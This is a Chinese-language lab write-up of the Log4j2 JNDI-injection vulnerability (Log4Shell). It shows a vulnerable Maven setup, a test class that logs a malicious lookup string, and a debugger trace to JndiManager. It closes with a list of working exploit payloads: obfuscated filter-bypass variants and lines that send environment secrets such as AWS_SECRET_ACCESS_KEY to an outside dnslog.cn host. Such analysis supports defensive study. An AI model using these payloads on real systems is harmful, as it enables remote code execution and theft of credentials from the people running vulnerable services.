环境搭建
maven环境
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>top.lnng.log4j2</groupId>
<artifactId>log4j2</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>jar</packaging>
<name>log4j2</name>
<url>http://maven.apache.org</url>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>8</source>
<target>8</target>
</configuration>
</plugin>
</plugins>
</build>
</project>
log4j2.xml
<?xml version="1.0" encoding="UTF-8"?>
<configuration status="info">
<Properties>
<Property name="pattern1">[%-5p] %d %c - %m%n</Property>
<Property name="pattern2">
=========================================%n 日志级别:%p%n 日志时间:%d%n 所属类名:%c%n 所属线程:%t%n 日志信息:%m%n
</Property>
<Property name="filePath">logs/myLog.log</Property>
</Properties>
<appenders> <Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="${pattern1}"/>
</Console> <RollingFile name="RollingFile" fileName="${filePath}"
filePattern="logs/$${date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz">
<PatternLayout pattern="${pattern2}"/>
<SizeBasedTriggeringPolicy size="5 MB"/>
</RollingFile>
</appenders>
<loggers>
<root level="info">
<appender-ref ref="Console"/>
<appender-ref ref="RollingFile"/>
</root>
</loggers>
</configuration>
测试类
public class App {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(LongFunction.class);
String username = "${jndi:ldap://127.0.0.1:8085/GFxElmpt}";
logger.info("User {} login in!", username);
}
}
环境整体结构
调试分析
不停的的下断点定位触发位置
发现i为7的时候有执行
步进查看
判断是否是 Log4j2 的 lookups 功能,我们是有的,继续下走,判断workingBuilder 中是否存在 ${,存在进行截取,然后进行 replace()方法
跟进 replace() 方法看看
一直步进找业务逻辑,substitute前面都是赋值,只需要关心我们payload的变化就行。
while循环读取将 ${} 中间的内容取出来
然后会再次进入substitute,传入的buf没有${}了
步进resolveVariable函数
resolveVariable里面调用了lookup,继续跟进,最终在jndiManager.lookup调用
jndiManager lookup调用this.context的,JndiManagerFactory 来创建 JndiManager
看下JndiManagerFactory
创建InitialContext 实例,返回一个JndiManager对象
JndiManager就是最终触发的位置,后面就是jndi注入的问题了
- 先判断内容中是否有${},然后截取${}中的内容,得到我们的恶意payload jndi:xxx
- 后使用:分割payload,通过前缀来判断使用何种解析器去lookup
- 支持的前缀包括 date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j
利用payload
${jndi:ldap://127.0.0.1:8085/GFxElmpt}
${jnd${upper:ı}:ldap://[127.0.0.1]]/mESHFnWc} jndi要开389
${jnd${upper:\u0131}:ldap://[127.0.0.1]]/KWhsLxIC}
${${qax:-j${qax-::qax::-n}}${lower:${upper:d}}${upper:ı}:ldap://127.0.0.1:8086/mhStyxHU}
${jndi:ldap://${env:USER}.dnslog.cn}
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.dnslog.cn}
${jndi:ldap://${java:version}.u2xf5m.dnslog.cn}
${bundle:application:spring.datasource.password}